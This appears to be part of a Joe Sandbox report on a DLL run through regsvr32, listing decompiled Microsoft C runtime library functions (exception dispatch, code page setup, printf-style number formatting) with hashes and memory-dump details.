Opcode ID: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction ID: 4853ceba84ddbb230417778543f3b3b02ea2aa858227094ccd1c634e11d49f23
Opcode Fuzzy Hash: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction Fuzzy Hash: C8B1B77261CAC0CAD7B58B29E8807AFB7E0F388785F155125DAC983B99DB2DD4429F00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34960 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 35%

			E000007FE7FEF9D34960(void* __ecx, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int _a40, intOrPtr _a48, long long _a56, long long _a64) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				char _v60;
				char _v64;
				signed int _v72;
				char _v80;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				signed int _v136;
				void* _t106;
				void* _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				long long _t153;
				signed int _t161;
				signed int _t165;
				long long _t166;
				long long _t169;
				long long _t170;
				intOrPtr _t174;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t153 = _a8;
				if ( *_t153 != 0x80000003) goto 0xf9d34990;
				goto 0xf9d34cc6;
				0xf9d24000();
				if ( *((long long*)(_t153 + 0xe0)) == 0) goto 0xf9d34a33;
				0xf9d24000();
				_v56 = _t153;
				E000007FE7FEF9D23D00(_t106);
				if ( *((intOrPtr*)(_v56 + 0xe0)) == _t153) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434f4d) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434352) goto 0xf9d34a33;
				_v120 = _a64;
				_v128 = _a56;
				_v136 = _a40;
				if (E000007FE7FEF9D2E9B0(_a8, _a16, _a24, _a32) == 0) goto 0xf9d34a33;
				goto 0xf9d34cc6;
				if ( *((intOrPtr*)(_a40 + 0xc)) == 0) goto 0xf9d34a43;
				goto 0xf9d34a48;
				E000007FE7FEF9D2CF80(_a40);
				_v120 = _a32;
				_v128 =  &_v60;
				_t161 =  &_v64;
				_v136 = _t161;
				r9d = _a48;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v72 = _t161;
				_v64 = _v64 + 1;
				_v72 = _v72 + 0x14;
				if (_v64 - _v60 >= 0) goto 0xf9d34cc6;
				if (_a48 -  *_v72 < 0) goto 0xf9d34c2b;
				_t165 = _v72;
				if (_a48 -  *((intOrPtr*)(_t165 + 4)) > 0) goto 0xf9d34c2b;
				_t117 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t165 + 4)), _t165);
				_t166 = _t165 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t166 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34b53;
				_t118 = E000007FE7FEF9D2E680(_t117, _t166);
				_v48 = _t166;
				_t119 = E000007FE7FEF9D2E680(_t118, _t166);
				_t169 = _v48 +  *((intOrPtr*)(_t166 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				_v40 = _t169;
				goto 0xf9d34b5f;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d34bff;
				_t120 = E000007FE7FEF9D2E680(_t119, _t169);
				_t170 = _t169 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t170 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34be3;
				_t121 = E000007FE7FEF9D2E680(_t120, _t170);
				_v32 = _t170;
				E000007FE7FEF9D2E680(_t121, _t170);
				_v24 = _v32 +  *((intOrPtr*)(_t170 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				goto 0xf9d34bef;
				_v24 = 0;
				_t174 = _v24;
				if ( *((char*)(_t174 + 0x10)) != 0) goto 0xf9d34c2b;
				E000007FE7FEF9D2E680( *((char*)(_t174 + 0x10)), _t174);
				if (( *(_t174 +  *((intOrPtr*)(_v72 + 0x10)) + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14) & 0x00000040) == 0) goto 0xf9d34c30;
				goto L1;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_v72 =  *((intOrPtr*)(_v72 + 0x10));
				__rax = __rax +  *((intOrPtr*)(_v72 + 0x10));
				_v72 =  *((intOrPtr*)(_v72 + 0xc)) - 1;
				__rcx = ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__rax = __rax + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__eflags = __rax;
				_v80 = 0;
				_v88 = 1;
				__rcx = _a64;
				_v96 = _a64;
				_v104 = _a56;
				__rcx = _v72;
				_v112 = _v72;
				_v120 = 0;
				_v128 = __rax;
				__rax = _a40;
				_v136 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D35180(__edi, __esi, __esp, __eflags, _a8, _a16, _a24, _a32);
				goto L1;
				return __eax;
			}

0x7fef9d34960
0x7fef9d34965
0x7fef9d3496a
0x7fef9d3496f
0x7fef9d3497b
0x7fef9d34989
0x7fef9d3498b
0x7fef9d34990
0x7fef9d3499d
0x7fef9d349a3
0x7fef9d349a8
0x7fef9d349ad
0x7fef9d349be
0x7fef9d349ce
0x7fef9d349de
0x7fef9d349e8
0x7fef9d349f4
0x7fef9d34a00
0x7fef9d34a2c
0x7fef9d34a2e
0x7fef9d34a3f
0x7fef9d34a41
0x7fef9d34a43
0x7fef9d34a50
0x7fef9d34a5a
0x7fef9d34a5f
0x7fef9d34a64
0x7fef9d34a69
0x7fef9d34a71
0x7fef9d34a89
0x7fef9d34a8e
0x7fef9d34a9b
0x7fef9d34aa8
0x7fef9d34ab5
0x7fef9d34ac9
0x7fef9d34acf
0x7fef9d34ade
0x7fef9d34ae4
0x7fef9d34af2
0x7fef9d34b0b
0x7fef9d34b0d
0x7fef9d34b12
0x7fef9d34b17
0x7fef9d34b46
0x7fef9d34b49
0x7fef9d34b51
0x7fef9d34b53
0x7fef9d34b68
0x7fef9d34b6e
0x7fef9d34b7c
0x7fef9d34b95
0x7fef9d34b97
0x7fef9d34b9c
0x7fef9d34ba4
0x7fef9d34bd9
0x7fef9d34be1
0x7fef9d34be3
0x7fef9d34bef
0x7fef9d34bfd
0x7fef9d34bff
0x7fef9d34c29
0x7fef9d34c2b
0x7fef9d34c30
0x7fef9d34c3a
0x7fef9d34c3e
0x7fef9d34c4b
0x7fef9d34c4e
0x7fef9d34c52
0x7fef9d34c52
0x7fef9d34c55
0x7fef9d34c5a
0x7fef9d34c5f
0x7fef9d34c67
0x7fef9d34c73
0x7fef9d34c77
0x7fef9d34c7c
0x7fef9d34c81
0x7fef9d34c8a
0x7fef9d34c8f
0x7fef9d34c97
0x7fef9d34c9c
0x7fef9d34ca4
0x7fef9d34cac
0x7fef9d34cb4
0x7fef9d34cbc
0x7fef9d34cc1
0x7fef9d34ccd

Strings

MOC, xrefs: 000007FEF9D349C8
RCC, xrefs: 000007FEF9D349D8

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: MOC$RCC
API String ID: 0-2084237596
Opcode ID: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction ID: 969568d65f9d334bdbb71439fdfa9ac9293f65c07e2bfce327525da45f7ede8f
Opcode Fuzzy Hash: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction Fuzzy Hash: FA91193260DB8582DAA4DB55E49077EB3A0F7C4785F214526EACE83BA9CF3DE041CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29C10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

__updatetmbcinfo.LIBCMTD ref: 000007FEF9D29C2F

Part of subcall function 000007FEF9D29B10: _unlock.LIBCMTD ref: 000007FEF9D29BD9

Part of subcall function 000007FEF9D29F20: GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
Part of subcall function 000007FEF9D29F20: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74

_unlock.LIBCMTD ref: 000007FEF9D29EC8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c, xrefs: 000007FEF9D29C73

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale_unlock$UpdateUpdate::~___updatetmbcinfo
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c
API String ID: 4112623284-4095683531
Opcode ID: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction ID: 45fc69fecf93984735d9c4b87304ebe4c96837b84e7424b4db74fc1719c3d08d
Opcode Fuzzy Hash: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction Fuzzy Hash: 83911D36619B8586E7A08B19E98036E77E0F388798F654236EACD477B8CB3DD541CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6F8(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t217;
				signed char _t222;
				intOrPtr _t257;
				signed int _t332;
				signed int _t333;
				signed long long _t336;
				intOrPtr* _t359;
				signed long long _t384;

				_t332 = __rax;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t333 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t336 = _a824;
				_a832 = _t336;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t336;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t217 = _a116;
				_a116 = _a116 - 1;
				if (_t217 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t217 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t222 = _a816 + _a708;
				_a816 = _t222;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t222;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t257 = _a1060;
				_a876 = _t257;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t384, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6f8
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

9, xrefs: 000007FEF9D3C98F
0, xrefs: 000007FEF9D3C739

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: 0$9
API String ID: 1967237116-1975997740
Opcode ID: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction ID: c0a57250e5e6ff09cb8cd0b3e72d4402f8dee1629557039505579d47a847bcbd
Opcode Fuzzy Hash: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction Fuzzy Hash: 1E41C87660DAC187E7B58B19E8917AEB7E4F385791F100125EBC886B98DBBDD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E70C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D3E70C(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t213;
				signed char _t218;
				void* _t249;
				intOrPtr _t257;
				signed int _t331;
				signed int _t332;
				signed long long _t335;
				intOrPtr* _t354;
				intOrPtr* _t359;
				signed long long _t389;

				_t331 = __rax;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t332 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t335 = _a1304;
				_a1312 = _t335;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t335;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t213 = _a116;
				_a116 = _a116 - 1;
				if (_t213 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t213 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t218 = _a1296 + _a1220;
				_a1296 = _t218;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t218;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t354 = _a64;
				_a1328 = _t354;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t249 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t354;
				E000007FE7FEF9D26840(_t249,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t354 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t257 = _a1504;
				_a1344 = _t257;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
